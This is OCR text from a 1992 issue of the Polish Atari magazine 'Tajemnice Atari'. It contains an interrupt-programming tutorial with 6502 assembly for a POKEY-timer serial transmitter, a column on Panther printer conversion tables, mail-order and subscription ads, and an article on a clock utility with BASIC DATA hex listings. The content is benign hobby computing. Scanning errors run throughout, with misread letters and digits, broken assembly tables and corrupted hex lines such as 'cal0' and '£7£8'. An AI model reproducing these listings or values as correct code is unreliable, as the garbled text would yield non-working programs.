naszego dźwięku. 

Prócz cyklicznych przerwań VBLANK 
źródłem zakłóceń Jest nieustanne odczyty¬ 
wanie pamięci obrazu przez procesor gra¬ 
ficzny z użyciem techniki zwane) DMA, co 
oznacza bezpośrednie korzystanie z pa¬ 
mięci bez udziału procesora. Jest to zjawi¬ 
sko podobne do przerwania, choć nim nie 
Jest. Nasz przykładowy pracownik (proce¬ 
sor) zasypia po prostu na chwilę, gdy 
w tym czasie złodzieje wynoszą towar 
z magazynu. Nie ma tu wykonywania żad¬ 
nego dodatkowego programu, lecz. wsku¬ 
tek przerw o trudnych do przewidzenia 
odstępach 1 czasach trwania, właściwy 
program Jest realizowany nlerytmicznle. 

Aby wyłączyć transmisję DMA, dopisz¬ 
my po sekwencji blokującej NMI 

DMACT EQU $D400 
DMACT_ EQU $22F 

LDA #0 
STA DMACT_ 

STA DMACT 

Nie wystarczy wpisać wartości do reje- 
stru-denia, ponieważ (jak Już wiemy) nie 
działa teraz mechanizm przepisywania 
wartości z cieni do właściwych rejestrów 
sprzętowych. ZasembluJ 1 uruchom pro¬ 
gram. Ładnie brzmi, choć trochę mało 
widać. 

Rozmnażanie przerwań IRQ 


Przerwanie IRQ, zgłaszane przez PO- 
KEY, może dotyczyć Jednej z wielu sytu¬ 
acji: naciśnięcia klawisza, odebrania 
znaku od urządzenia zewmętrznego, wy¬ 
zerowania licznika ltd. Każde ze zdarzeń 
ma swoją własną procedurę obsługi, lecz 
niestety, Jest tylko Jedna linia zgłoszenia. 
Procesor zaczyna więc obsługę przerwa¬ 
nia IRQ zawsze od tąro samego: syste¬ 
mowa procedura zawarta w ROM-le 
sprawdza wszystkie możliwe źródła prze¬ 
rwań, a po stwierdzeniu, które Jest 
aktywne, kieruje sterowanie do odpo- 


wlednlej procedury szczegółowej, której 
adres znajduje w odpowiednim słowie 
(wektorze) na stronie 2 . 

Poniżej przedstawiam obszerne frag¬ 
menty zrealizowanego przy pomocy sy¬ 
stemu przerwań sterownika złącza RS 
(patrz str. 5 1 wcześniejsze). Zastosowa¬ 
ne zostało przerwanie zegara nr 1 PO- 
KEY-a. Omówię działanie tylko części 
nadawczej, gdyż odbiór z punktu widze¬ 
nia wykorzystania przerwań różni się 
w niewielu szczegółach. 

Instalowanie własnej 
procedury obsługi przerwania 

Teoretycznie proste zadanie, w prakty¬ 
ce sprawia nieco kłopotów. Program, po 
wykonaniu zadania powinien zostawić 
system tak. Jak go zastał. Dlatego należy 
zacząć od zachowania dotychczasowej 
zawartości wektora: 

VTIMR1 EQU $210 

LDA VTIMR1 
STA OLDVTM 
LDA VTIMR1+1 
STA OLDVTM+l 

Należy się liczyć z tym, że przerwanie 
nadejdzie właśnie podczas Instalowania 
Jego obsługi. Z pozoru mało prawdopo¬ 
dobny przypadek wystąpienia przerwa¬ 
nia, gdy zmieniliśmy Już pierwszy bajt 
wektora, a drugiego Jeszcze nie, zdarza 
się nad podziw często. Oczywłścle nastę¬ 
puje wtedy skok w trudny do przewłdze- 
nia zakątek pamięci, co kończy się z za¬ 
sady "zawieszeniem" komputera. Najpro¬ 
ściej uniknąć tej przykrej niespodzianki, 
wyłączając na chwłlkę przerwania: 

SEI 

LDA <TX_INT 
STA VTIMR1 
STA >TX_INT 
STA VTIMR1+1 
CLI 

Do transmisji szeregowej wykorzystuje 
się złącze Joysticka, należy więc odpowie¬ 
dnio Je przeprogramować (niektóre bity 
Jako wyjścia): 

LDY #%00001100 
JSR PPA 

Procedura PPA zostanie przedstawło- 
na nieco dale). Pozostaje uruchomić licz¬ 
nik POKEY-a (podobnie. Jak to pokaza- 


no w TA 9/92): 



BITS 

EQU 

8 


RATĘ 

EQU 

$68 

600 bi 

T1MASK 

EQU 

%00000001 

AUDCTL 

EQU 

$D208 


AUDCl 

EQU 

$D201 


AUDFl 

EQU 

$D200 


STIMER 

EQU 

$D209 


IRQEN 

EQU 

$D20E 


IRQEN 

EQU 

$10 



LDY 

#0 



STY 

AUDCTL 

64kHz 


STY 

AUDCl 

quiet 


LDA 

#RATE 



STA 

AUDFl 



LDA 

IRQEN 



ORA 

DT1MASK 


STA 

IRQEN_ 



LDA #VBL__EN 
STA NMIEN 


1 uprzejma 



Istnieją dwa podstawowe sposoby 
kontaktu procesorów ze śwłatem zewmę- 
trznym: nasłuchiwanie sygnałów oraz 
przerwania. Nasłuchiwanie polega na 
okresowym spraw¬ 
dzaniu rejestrów 
urządzeń zewmętrz- 
nych, by nie przega¬ 
pić nadejścia waż¬ 
nego sygnału. Ta 
metoda Jest prosta 
w realizacji, lecz an¬ 
gażuje czas proce¬ 
sora dla bezprodu¬ 
ktywnego przeglą¬ 
dania rejestrów. 

Metoda przerwań 
Jest trudniejsza 

w realizacji, lecz 
efektywniejsza 
w działaniu. W kom¬ 
puterze ATARI po¬ 
łączono oba te spo¬ 
soby. 



STA IRQEN enable 
STA STIMER 

Od tę) chwili każde przerwanie od ze¬ 
gara 1 będzie wywoływać naszą proce¬ 
durę TX_INT. 

Obsługa przerwania 


Trzeba pamiętać, że po uruchomienia 
"zegara" POKEY-a nasza procedura ob¬ 
sługi przerwania zaczyna żyć własnym 
życiem. Jest wywoływana przez system 
w regularnych odstępach czasu, całkowi¬ 
cie niezależnie od Innych naszych poczy¬ 
nań. Aby wysłać znak, należy go umieścić 
w akumulatorze 1 skoczyć do takiej oto 
prostej procedury: 


TX_INT EQU * 

BIT TX_RDY 
BMI TX_RET 
BVC TX_BIT 

Nie ma potrzeby przechowywania za¬ 
wartości aklumulatora, ponieważ zrobiła 
to za nas systemowa procedura rozpozna¬ 
nia przerwania. Zmienna TX_RDY decy¬ 
duje o sposobie działania przerwania. 
Wartość 255 (czyli -1, ustawiony 7 bit) oz¬ 
nacza, że nie ma aktualnie żadnego znaku 
do wysłania. Nasza procedura w takim 
przypadku kończy się bez zwłoki. Jeżeli 
7 bit Jest skasowany, lecz ustawiony 6, to 
nie wykona się skok BVC. Oznacza to po¬ 
czątek wysyłania znaku: 

LDA #BITS 
STA TX__CNT 
LSR TX_RDY 
CLC 

BCC TX_OUT (jmp) 


SEND BIT TX_RDY 

BPL SEND 

Nleujemna wartość zmiennej TX_RDY 
oznacza, że nie zakończyło się Jeszcze 
nadawanie poprzedniego znaku. Trzeba 
zaczekać na ustawienie 7 bitu - sygnał 
zakończenia. 

STA TX_DAT 
LSR TX_RDY 
RTS 

Po umieszczeniu danej w rejestrze 
TX_DAT kasujemy 7 bit zmienne) 
TX_RDY, by zainicjować operację nada¬ 
wania. I to wszystko. Nie czekając na 
efekt można powrócić do głównego pro¬ 
gramu, by zająć się wyświetlaniem obra¬ 
zu, sprawdzeniem klawiatury, procesu 
odbiorczego ttd., gdy tymczasem wsta¬ 
wiony do TX_DAT bajt "sam się nadaje". 


Zainicjowany zostaje licznik bitów 
TX_CNT, skok do TX_OUT ze skasowa¬ 
nym znacznikiem C spowoduje wyemito¬ 
wanie bitu startu (0). Skasowanie 6 bitu 
zmiennej TX RDY sprawi, że w nastę¬ 
pnych wywołaniach ten fragment będzie 
pomijany, zaś wykona się następny: 

TX_BIT LDA TX_CNT 
BPL TX_DCT 

* finish 

LDA #255 
STA TX_RDY 
PLA 
RTI 

Tu podejmuje się decyzję co do wysła¬ 
nia kolejnego bitu. Ujemna wartość 
w TX_CNT oznacza, że cały znak został 
Już wysłany. W takim razie zmienna 
TX_RDY znów przyjmuje wartość ujemną 
na znak, że nadajnik Jest gotów do wy¬ 
słania następnego znaku. W przeciwnym 
razie należy zmniejszyć licznik: 

TX_DCT DEC TX_CNT 
SEC 

BMI TX_OUT 

Jeżeli licznik osiągnął wartość ujemną, 
to znaczy, że zostały Już wysłane wszy¬ 
stkie bity danych, pora teraz na bit sto¬ 
pu (1). Uzyskuje się to przez skok do 
TX_OUT z ustawionym znacznikiem C. 
Przy następnym przerwaniu ujemność li¬ 
cznika spowoduje zakończenie procesu 
przesyłania znaku. Jeżeli licznik Jest Je¬ 
szcze nteujemny, należy wysłać kolejny 
bit danych z rejestru TX_DAT: 


LSR TX_DAT 
TX_OUT LDA #0 
ROL @ 

ASL @ 

ASL @ 

STA PA 

04 TX_RET PLA 

RTI 


Po zakończeniu transmisji całego cią¬ 
gu bajtów (pliku) trzeba po sobie po¬ 
sprzątać (w przypadku handlera "R:" 
czyni to funkcja CLOSE). Przede wszy¬ 
stkim czekamy na wysłanie ostatniego 
bajtu: 

W_LAST BIT TX_RDY 
BPL W_LAST 

Gdy to nastąpi, wyłączamy czym prę¬ 
dzej zegar nr 1: 

LDA IRQEN_ 

AND #255—T1MASK 
STA IRQEN_ 

STA IRQEN disable 

Następnie "niepostrzeżenie" oddajemy 
wektor przerwania: 

SEI 

LDA OLDVTM 
STA VTIMR1 
LDA OLDVTM+l 
STA VTIMR1+1 
CLI 

l przywracamy normalny stan portu Joy¬ 
sticka: 

PA equ $D300 

PAC EQU $D302 

LDY #%00000000 
PPA LDA #$30 

STA PAC 
STY PA 
LDA #$34 
STA PAC 
RTS 

Garść zmiennych roboczych na koniec 
dopełnia całości: 

TX_RDY DTA B(255) 

TX_CNT ORG *+l 

TX_DAT ORG * + l 

OLDVTM ORG *+2 


Kilka przestróg 


Często się zdarza, że nowicjusz, ocza¬ 
rowany niewątpliwą urodą świata prze¬ 
rwań, pragnie wykorzystać świeżo nabytą 
wiedzę za wszelką cenę. Nie dajcie się 
zwariować! Przerwania, efemeryczne ze 
swej natury, nie pozwalają się śledzić 
zwykłymi debuggeraml, dają nieoczeki¬ 
wane rezultaty z najmniej spodziewanych 
przyczyn, są więc bardzo trudne do te¬ 
stowania 1 poprawiania. Jeżeli rzecz da 
się wykonać Innym sposobem, zrezygnuj 
z przerwań. 

Nieuzasadnione użycie przerwań Jest 
typowym objawem nieudolności progra¬ 
misty. Ostatnio widziałem program 
w którym kursor zmienia kolory przy po¬ 
mocy przerwania VBLANK: 


MY_VBL LDA TIMER 
STA COLOR 
JMP SYSVBV 

Oczywiście wymaga to dodatkowych 
rozkazów dla zainstalowania przerwania 
(przy tym tak, by nas nie przyłapało') 

LDA <MY_VBL 
STA WBLKI 
LDA >MY_VBL 
STA WBLKI+1 

Artysta "zapomniał" na dodatek 
o utrzymaniu działania dotychczasowej 
procedury VBLANK (poprzez zapamięta¬ 
nie starego wektora 1 skok do niego 
z końca swojej procedury). Zapewne 
chodziło o oszczędność kodu... Tymcza¬ 
sem rzecz cała sprowadza się do umiesz¬ 
czenia w pętli oczekiwania na naciśnięcie 
klawisza dwóch wspomnianych wyżej 
rozkazów: 

LDA TIMER 
STA COLOEf 

Stosowanie przerwania w tym przy¬ 
padku można śmiało nazwać wytacza¬ 
niem armaty na wróble! 

Przerwania zwalniają działanie syste¬ 
mu. Typowym przykładem Jest zbyt gęste 
przerwanie zegara POKEY-a. Przyznam, 
że opisana obsługa złącza RS działa na 
granicy wydolności komputera. Jeżeli 
kolejne przerwanie "następuje na pięty” 
poprzedniemu, spowoduje rychłe prze¬ 
pełnienie stosu odkładanymi adresami 
powrotu, a w efekcie śmierć systemu. 

Przerwania mogą być przerywane 
przez Inne przerwania! Zbytnie obciąże¬ 
nie systemu przerwań powoduje zawie¬ 
szanie się szybkich urządzeń WE/WY, 
zwłaszcza stacji dysków. Większość nad¬ 
syłanych do redakcji zegarów (ulubiony, 
poza dziesbinem, temat naszych Czytel¬ 
ników) obarczona Jest tą wadą. Jeżeli Już 
nie można się obyć bez przerwania, po¬ 
winno być ono obsłużone w rekordowo 
krótkim czasie. 

Tu przerwał, lecz róg trzymał... 


END 


Janusz B. Wiśniewski 





drukarek dys¬ 
ponuje zesta¬ 
wem znaków 
zgodnym ze 

standardem 
PC. W tym ze¬ 
stawie zdefinio¬ 
wano ramki, 
które swoim 
wyglądem na 
pewno nie ustę¬ 
pują ramkom 
"atarowsklm". 
Dlaczego by 

z nich nie sko¬ 
rzystać? Oto 
fragment tabli¬ 
cy konwersji, 
który dokonuje 
zamiany ramek 
ATARI na ram¬ 
ki drukarkowe: 


W wielu listach od użytkowników 
Panthera powtarza się to samo pyta¬ 
nie: Jak na wydruku uzyskać dokład¬ 
nie to, co widać na ekranie? Pisaliśmy 
Już o tym, że Panther nie Jest proceso¬ 
rem tekstu, a więc nie umożliwia gra¬ 
ficznego zobrazowania na papierze 
ekranu monitora. Zadaniem Panthera 
jest umożliwienie wydruku polskiego 
tekstu przy pomocy zestawu znaków, 
jaki zainstalowano w drukarce. Oczy¬ 
wiście Istnieje możliwość uzyskania 
tablicy konwersji, która spowoduje, że 
drukarka zacznie pisać przy pomocy 
znaków. Jakie widać w Pantherze 
(patrz TA 6-7/92, str. 26). ale nie za¬ 
wsze Jest to potrzebne. Moim zda¬ 
niem, w większości wypadków wystar¬ 
cza to, co drukarki miewają "w sobie". 
A Jest tego niemało! Aby nie być goło¬ 
słownym, podam przykład: chyba 
każdy z nas lubi robić ramki. Kon¬ 
struktorzy ATARI umieścili dość dużo 
elementów składowych ramek w ze¬ 
stawie znaków tego komputera 1 nie¬ 
wielkim kosztem można znacznie po¬ 
prawić wygląd przygotowywanego do¬ 
kumentu. tworząc np. Interesujące ta¬ 
belki. Z przeniesieniem tak przygoto¬ 
wanego tekstu na papier Jest Jakby 
nieco gorzej. Lecz przecież większość 


f , Ranki, w stylu t*c, zestaw 1 


A to Jeszcze nic wszystko' W zesta¬ 
wie znaków PC zdefiniowano również 
ramki podwójne, które wcale nie są 
brzydsze od pojedynczych Powyższy 
lragment możemy zastąpić takim: 

* Ranki n stylu PC, zestaw 2 

r ~ttZ0X 
T-W203 
n-»187 
—=**205 
••= 1*200 
-“■=**202 
J =**JL 88 

I =1*186 
r=**204 
4 =**105 
+=**206 

(obydwa fragmenty tablicy konwersji 
pochodzą z listu pana E. Pryczka 
z Bydgoszczy). 

Można również korzystać z obydwu 
zaproponowanych zestawów ramek 
Jednocześnie, np. zamieniając w dru¬ 
gim fragmencie ramki ATARI na Ich 
odpowiedniki w negatywie. Wtedy po¬ 
jedynczą ramkę na wydruku uzyska¬ 


r=U218 
T=**X94 
1 =IU9i 
-=ttl96 
«-=**X92 
A =ł*193 
**2X7 
=**179 
=**195 
=**180 
**197 


J 

l 


my za pomocą zwykłej ramki w Pan¬ 
therze, a ramkę podwójną na wydru¬ 
ku - za pomocą ramki w negatywie. 
Tak przygotowane części można do¬ 
łączyć do dowolnej tablicy konwersji 
np. przy pomocy Panthera. Tablica 
konwersji Jest przecież plikiem te¬ 
kstowym, wystarczy wczytać go do 
edytora, a następnie dołączyć do nie¬ 
go powyższe bloki (poleceniem ~Kr) 
1 całość zapisać na dyskietkę. Teraz 
pozostaje Już tylko wybranie przygo¬ 
towanej tablicy spośród tych, które 
Panther oferuje w menu Printer. To 
ważne! Przygotowana tablica sama 
"nie wskoczy" do Panthera. 

Piszecie do nas, że Instrukcja do 
Panthera nie jesl kompletna 1 nie za¬ 
spokaja w pełni Waszej ciekawości. 
Objętość Instrukcji Jest ograniczona 
1 nie można było w niej zawrzeć 
wszystkich Informacji. Zgodnie Jed¬ 
nak z obietnicą zajmujemy się wy¬ 
jaśnianiem Waszych wątpliwości na 
łamach TA. 

Wielu z naszych Czytelników uskar¬ 
ża się na to, że w Instrukcji do Panthe¬ 
ra nie opisano opcji Prlnt, znajdującej 
się w grupie poleceń File. Ta opcja słu¬ 
ży do drukowania znajdującego się 
w edytorze tekstu na dowolne urządze¬ 
nie zewnętrzne. Takim urządzeniem 
może być drukarka, ale może nim być 
także plik dyskowy, czy też modny 
ostatnio Interfejs RS232C. Po wybra¬ 
niu Prlnt, edytor otwiera okienko, 
w którym należy wpisać nazwę urzą¬ 
dzenia, do którego chcemy przesłać 
wydruk, a więc np. P: (drukarka), 
D2:PLIKPRN (plik dyskowy), Rl: (In¬ 
terfejs RS232C). Wpisaną nazwę nale¬ 
ży zatwierdzić przy pomocy klawisza 
RETURN. Aby nie było nieporozumień: 
drukować można nie tylko na drukar ; 
kę! Drukowanie np. na plik oznacza 
wykonanie kopii tego, co normalnie 
otrzymałaby drukarka, czyli całego 
ciągu liter, cyfr 1 znaków kontrolnych. 
Taką kopię można później przenieść 
na drukarkę przy pomocy DOS-u, po¬ 
leceniem COPY lub dowolnym kopie- 
rem (np. NCOPY w systemie COS). 


r 




skr. poczt. 702 
35-959 Rzeszów 2 


L 


Zamawiam nagrane na 


[ kasecie 
[ |dysku 


programy zamieszczone 
w-numerze TA 


mój adres: 


Pytacie, czy polskie litery można 
uzyskać tylko w trybie ATARI. Nie, 
w trybie "WS” też można pisać przy 
pomocy polskich liter. Aby Panther 
odpowiednio zinterpretował naciśnię¬ 
cie klawisza wywołującego polską lite¬ 
rę, należy Ją poprzedzić naciśnięciem 
klawiszy CONTROL P. Oznacza to dla 
edytora, że następne naciśnięcie kla¬ 
wisza ma powodować wyświetlenie 
znaku, który Jest do niego przypisany, 
a nie wykonanie polecenia. 


Jarosław 


Syrylak 











REDAKCJA NIE PONOSI ODPOWIEDZIALNOŚCI ZA IREŚĆ ZAMIESZCZANYCH OGŁOSZEŃ 


09 



W celu zamówienia prenumeraty należy wypełnić czytelnie 
blankiet wpłaty na konto (dostępny na pocztach 1 w ban¬ 
kach) podając na odwrocie Imię, nazwisko 1 adres zamawia¬ 
jącego oraz liczbę egzemplarzy danego numeru wraz z okre¬ 
sem prenumeraty. Pieniądze prosimy wpłacać na konto: 

"Tajemnice Atari" s.c. Rzeszów, ul. Targowa 1/801 
Bank Przemysłowo-Handlowy III Oddział Rzeszów 
nr 326807-23650-136 


Redakcja Tajemnic Atari Informuje o możliwości wysyłkowego nabywania 
wszystkich programów zawartych w dowolnym numerze pisma, nagranych na kasetę 
(tylko w transmisji normalnej) lub na dyskietkę. W skład zbioru wchodzą wszystkie 
listingi, zamieszczone w wybranym przez Zamawiającego numerze Tajemnic. 

Cena wersji kasetowej wynosi 25.000 zł, zas dyskowej 23.000 zł. W cenę wli¬ 
czony Jest koszt nośnika, nagrania, opakowania oraz opłaty pocztowe. Same 
listingi są za darmo. 

Zainteresowanych ofertą prosimy o dokładne wypełnienie zamówienia (na od¬ 
wrocie) 1 po naklejeniu go na kartę pocztową, wysłanie na adres redakcji po¬ 
dany w stopce. 


WYSYŁKOWA SPRZEDAŻ 
PROGRAMÓW 

Polecamy: 

• Duży wybór praa ramów, nowoicJ 

• Niskie ceny 

• Programy w TURBO {AST, 2000) 

• Katalogi (patia (zaadresowana 

kopert* » znaczek) 

Zamówienia prosimy składać 
na sAe* (płatna pray odbiorą pmtyNrf): 
Studio Komputerowe 
“8KATES" 
ul. Kiepury 11/M 
20-838 LUBLIN 
tel 71-70-32 


Redakcja Tajemnic ATARI informuje, 
że posiada jeszcze dużą liczbę egzempla¬ 
rzy archiwalnych czasopisma. Można Je 
nabywać wysyłkowo wpłacając pienią¬ 
dze podobnie. Jak przy prenumeracie 
(przekazem bankowym na konto podane 
wyżej). Oto wykaz dostępnych numerów 
wraz z cenami: 


I TA 5/91 

mmmmmm 


mm 

TA 8/91 

Cena: 8 900 zł 

TA 3/92 

Cena: 9 900 zł 

TA 4/92 

Cena: 9 900 zł 

TA 5/92 

Cena: 9 900 zł 

TA 6-7/92 

Cena: 13 900 zł 

TA 8/92 

Cena: 9 900 zł 


• BAJT * 

ATARI XL/XE, ST 
IBM XT/AT 
AMIGA 500, 2000 
COMMODORE 64/128 
COMMODORE +4, 16, 116 
ZX SPECTRUM 

Katalogi gratis, po przesłaniu 
zaadresowanej koperty zwrotnej (A5) 
+ znaczek za 2500 zł. 

SPRZEDAŻ WYSYŁKOWA! 

BAJT 

ul. Chemików 3/55 
05-100 NOWY DWÓR MAZ. 
PROSIMY KONIECZNIE PODAĆ TYP 
POSIADANEGO MICROKOMPUTERA 


NOWE PROGRAMY 

• FORMATER - program do formatowania uszkodzonych dyskietek 

współpracujący ze wszystkimi typami stacji dysków (z wyjątkiem 
SN-360) Cena: 30.000 - zł 

• DEMO CONSTRUCTION KITT - program, którym możesz tworzyć 

własne dema Cena: 39.000,- zł dysk, 40.000,- zł kaseta 

• TOOLS #1 - kilkanaście programów użytkowych przydatnych 
w każdej sytuacji Cena: 30.000,- zł 

Sprzedaż wysyłkowa: Crisis soft 

ul. Biskupia 52/17 
04-216 Warszawa 


ATARI, COMMODORE 

Naprawa komputerów, monitorów, peryferii, Itp. 

Montaż Turbo Rom do magnetofonów ATARI (Misja. Fred w 1 minucie) 
Dystrybucja gier firm AYALON, ASF i Innych hurt 1 detal 
Sprzedaż komputerów 1 oprogramowania 
Drukarki 9-iglowe 1550000,- HW 7 


Magnackiego 67 

lickiej) -**’• 

- £ > 


KRYSAL & PLUS Kraków/ 
oraz ul. Bieżanowska 11 

Punkty przyj' 

Bochnia, ul. Florls 12 
Rzeszów, ul. Rejtana 33, sklep "BAJT" (zT 
tel. 548-82 wieczorem 
Nowy Sącz, ul. Szwedzka 1, (Księgarnia "Eureka" w podwórzu) 
Jasło, Rynek 14, AUDIO-YIDEO "KARPATY' 



PrenumeraTA 


Liczba egzemplarzy 
każdego numeru 

cena 1 
egzemplarza 

3-mies. 

6-mies. 

n=l 

11500 

34500 

69000 

n=2 

10800 

64800 

129600 

n—3 


93150 

186300 

n=4 

99000 

118800 

237600 

n=5 do 9 

9400 


56400*n 


8750 





Uwaga! Prosimy o nleprzysyłanle wcześniej należności, będzie ona bowiem re¬ 
gulowana przy odbiorze przesyłki. 
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Już starożytni budowali czasomierze 
naturalne, ok. 1300 roku pojawiły się 
pierwsze z napędem ciężarkowym, pierwszy 
zegar przenośny zbudował w 1511 roku P. 

Henlein z Norymberg!, twórcą zegara 
wahadłowego był C. Huygens (1654 rok), 
w roku 1992 JK & MAG(M) napisali zegara 
na małe ATARI... 

Należy jedynie dodać, że pomysł ich nie był 
nowatorski... 

Na początek 

JK & MAG(M) Clock składa się z dwóch części: 
CLOCK.COM oraz CMENU.COM. W obu został wykorzy¬ 
stany JBW Relocator 1.0 (TA 8/9 1). 

Coś o Clock-u... 

Clock umieszcza na końcu Display Listy kilka rozka¬ 
zów, które powodują pod ekranem użytkownika wy¬ 
świetlenie linii z czasem. Informacją o alarmie oraz na¬ 
zwą programu. Wiersz ten, zwany w skrócie Clock Llne. 
ma zawsze standardowe parametry (40 znaków w wier¬ 
szu, kolory, itp.), niezależnie od trybu w pozostałej czę¬ 
ści ekranu. 

...i Clock-Menu. 

Clock-Menu jest programem dodatkowym obsługują¬ 
cym zegar. Po wczytaniu, program pyta, czy ma się zain¬ 
stalować na stałe w pamięci komputera, czy też będzie 
użyty Jednorazowo. Jeśli zdecydujemy się zainstalować 
Clock-Menu, to będzie ono wywoływane po naciśnięciu 
klawiszy SHIFT+CONTROL+TAB, w przeciwnym wy¬ 
padku na ekranie ukaże się okienko z dostępnymi opcja¬ 
mi, a po wyjściu, nie będzie można do niego powrócić. 
Clock-Menu oferuje nam następujące opcje: 

• Set Time - ustawianie czasu (Góra, Dół, Lewo, Pra¬ 
wo, Return, Esc) 

• Set Alarm - ustawianie alarmu (Góra, Dół, Lewo. 
Prawo, Return, Esc, Clear - kasuje alarm) 

• Linę on/off - włączanie 1 wyłączanie Clock Llne (dzia¬ 
ła dopiero po wyjściu z menu) 

• Inverse - zmiana kolorów Clock Linę 


• Key Menu - opcja przydatna Jedynie w przypadku 
zainstalowania Clock-Menu. Umożliwia Jego 
"podpięcie" pod dowolne klawisze 
- wyjście z Clock-Menu 


Ij 1000 rem *-* 

PF 1002 REM : Clock 2.0 

MA 1004 REM : J. Kut & M. Grochowina 

YY 1006 REM : (c) 1992 Tajemnice ATARI 

JP 1008 REM *-* 

HO 1010 DATA fffff096219c202999ade70218 
OO 1020 DATA 69998de702ade80269028de802 
WL 1030 DATA a000a20238bd7199202a9810f8 
VZ 1040 DATA 201a98a9408d0ed4a201bd0002 
UZ 1050 DATA 9d8e97bd2d999d0002cal0fla9 
DR 1060 DATA 06ac2999ae2a99205ce4a907ac 
WL 1070 DATA 2b99ae2c994c5ce4a5128d7199 
BV 1080 DATA a5138d7299a5148d73994cffff 
JY 1090 DATA 20b6 9 7 204c9 8a9c08d0ed4 4cff 
IT 1100 DATA ff48ad0bd4c99b9024e904cd65 
QB 1110 DATA 97b021a9ca8dl7d0a9948dl8d0 
RJ 1120 DATA a9028d01d4a9e08d09d4a9218d 
PN 1130 DATA Ibd0a93ed025684cffffadc502 
MM 1140 DATA 8dl7d0adc6028dl8d0adf3028d 
VN 1150 DATA 01d4adf4028d09d4ad6f028dlb 
DA 1160 DATA d0ad2f028d00d46840a20238bd 
SY 1170 DATA 7199a8202a9810f7201a98a002 
MR 1180 DATA 38b95e99f97499996b998810f4 
LN 1190 DATA C89024a202bd6b999d5e99cal0 
FU 1200 DATA £7£8a202bd33991869019d3399 
FK 1210 DATA dd8699d007989d3399cal0ebd8 
DO 1220 DATA a200203698e8c8e005d0f7a001 
W 1230 DATA b93399d93199d0098810f5ad0a 
JL 1240 DATA d28dlfd060a20218bd6b997d5e 
GD 1250 DATA 999d5e99cal0f460fd6e999d6b 
JC 1260 DATA 99989d6e99ca60bd3199484a4a 
MD 1270 DATA 4a4a20429868290f1869909937 
JH 1280 DATA 99c860201a99cd6999d074ec6a 
AW 1290 DATA 99d06fa000201599297faa290f 
KC 1300 DATA f006a8b97699d0078a4a4a4a4a 
IM 1310 DATA 69011869078d7498a0018a294f 
CS 1320 DATA c901f016c94If06a9002c8c898 
KR 1330 DATA ael799186dl6999001e84cd698 
SU 1340 DATA 20159948201599aa68cd2f99d0 
BA 1350 DATA 3eec3099d039ad7498c9eeb005 
DE 1360 DATA 2cf798100fa202a000b9689920 
IA 1370 DATA 0f9910f88e7498202199a00720 
SC 1380 DATA Ia998c74988d69998e6a998dl6 
LF 1390 DATA 998dl0998el7998ell9960cd30 
EH 1400 DATA 02d0eeec3102d0e9f0c7ad7498 
WJ 1410 DATA c9eeb0cfa90030cea000201599 
YT 1420 DATA 88996899b96199200f99C00390 
BD 1430 DATA efb0b699ffffc8ca60b9ffffc8 
OŚ 1440 DATA 60ad3002ae310260ad74984a8d 
MM 1450 DATA 659760ae9699ac9799a5092902 
QM 1460 DATA d00ca50c860caaa50d840d4c4a 
WB 1470 DATA 99a5028602aaa50384038ef196 
PL 1480 DATA 8df296aea299aca3998ed5998c 
EE 1490 DATA d699ae9899ac99998ed8998cd9 
XC 1500 DATA 99ae9a99ac9b992042c6a562d0 
TV 1510 DATA 05a03c8ce999a202b5129del99 
EJ 1520 DATA cal0f8eaeaeaa25fbd9c999d29 
LG 1530 DATA 99cal0f74cc59800f0963699fc 
YX 1540 DATA 994097529760976499ffff0000 
NS 1550 DATA 008090909a90908090909a9090 
ZF 1560 DATA 9a909 8080aba 818781aea2a8 
MD 1570 DATA 89ae8a81a4edf0e4ec81938f91 
SM 1580 DATA 80800000008164994236998041 
ZU 1590 DATA ffff0000000000000000000000 
AA 1600 DATA 3201080a081008100804040201 
WD 1610 DATA 0201012460604 36c6f6 36b2032 
YG 1620 DATA 2e3020696e7374616c6c65642e 
Ht 1630 DATA 9bade7028d089bade8028d099b 
GV 1640 DATA a214deba99cal0fa20009be015 
IW 1650 DATA f02120129b98d0f3a201bd2202 
VP 1660 DATA 9d5097bd24029d5e97cal0f160 
DN 1670 DATA a22ea09b68684c42c6ad089bl8 
CM 1680 DATA 69429003ee099bcde702d0e7ad 
UO 1690 DATA 099bcde802d0dfa000be5f9b20 
DY 1700 DATA e69ac8c00ad0f5a9608d699ba2 
KW 1710 DATA 00a509c901d002a20aad980295 
DL 1720 DATA 02ad97029503a201a9ff8d9200 
AG 1730 DATA a514c514f0fcadl501c907d0ee 
ZI 1740 DATA cal0ebac3902ae3802a906205c 
WF 1750 DATA e4ac2b02ae2a02a907205ce4a9 
LX 1760 DATA 408d0ed4adfb018d0002adfa01 
MO 1770 DATA 8d0102a9c08d0ed4ade70238e9 
KW 1780 DATA 998de702ade802e9028de802a2 
ZN 1790 DATA 48a09b4c489aade70238fd819a 
FP 1800 DATA 9d819ab003fe829a38ade802fd 
YZ 1810 DATA 829a9d829a60a2ffe8e015f00a 


* 
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Kilka uwag... 

Jeśli używamy Jednocześnie Clock-a oraz XLF-a to nie 
wolno z XLF-a wyjść przez RESET, bo Cloek ''zgłupieje" 
1 wyleczyć go będzie można Jedynie poprzez ponowne 
ustawienie czasu przy pomocy CMenu. Cloek działa 
z większością kulturalnie napisanych programów, tzn. 
takich, które wpinając się w przerwania przedłużają we¬ 
ktory. Cloek wykorzystuje wektory VBLKI, VBLKD. DO- 
SINI (lub CASINI), a także DLI. CMenu natomiast wyko¬ 
rzystuje KEY1NT 1 DOSINI (lub CASINI), oraz w chwili 
uaktywnienia menu - VBLKI. Jeśli używamy Sparta 
DOS-a, należy wyłączyć buforowanie klawiatury komen¬ 
dą KEY OFF. 


...i bajerów 

Ustawiając 7 bit w MEMLO-146 można wyłączyć linię 


Instalacja i odinstalowywanie 

Zarówno Cloek Jak 1 Clock-Menu są nakładkami przy¬ 
klejającymi się do systemu, przy czym Clock-Menu od¬ 
mówi zainstalowania. Jeśli w pamięci nie ma Cloek a. 
Obydwa programy można odinstalować przez leh ponow¬ 
ne wczytanie (podobnie Jak XLF). W wypadku, gdy odin- 
stalowanie będzie niemożliwe, zostanie wyświetlony sto- 
sowny komunikat. _ 

IJ 1000 REM *-* 

MB 1002 REM : Cloek Menu 2.0 : 

MA 1004 REM : J. Kut & M. Grochowina : 

YY 1006 REM : (c) 1992 Tajemnice ATARI : 

JF 1008 REM *-* 

HM 1010 DATA ffff80931e9c20c398ade80218 
ZZ 1020 DATA 69058de802a26ebd06989d3697 
HI 1030 DATA cad0f78ee994a9ca8dla94ad08 
UY 1040 DATA 02 8dcd9 3ad0902 8dce9 37 8ad0f 
RM 1050 DATA 978d0802adl0978d09025860a5 
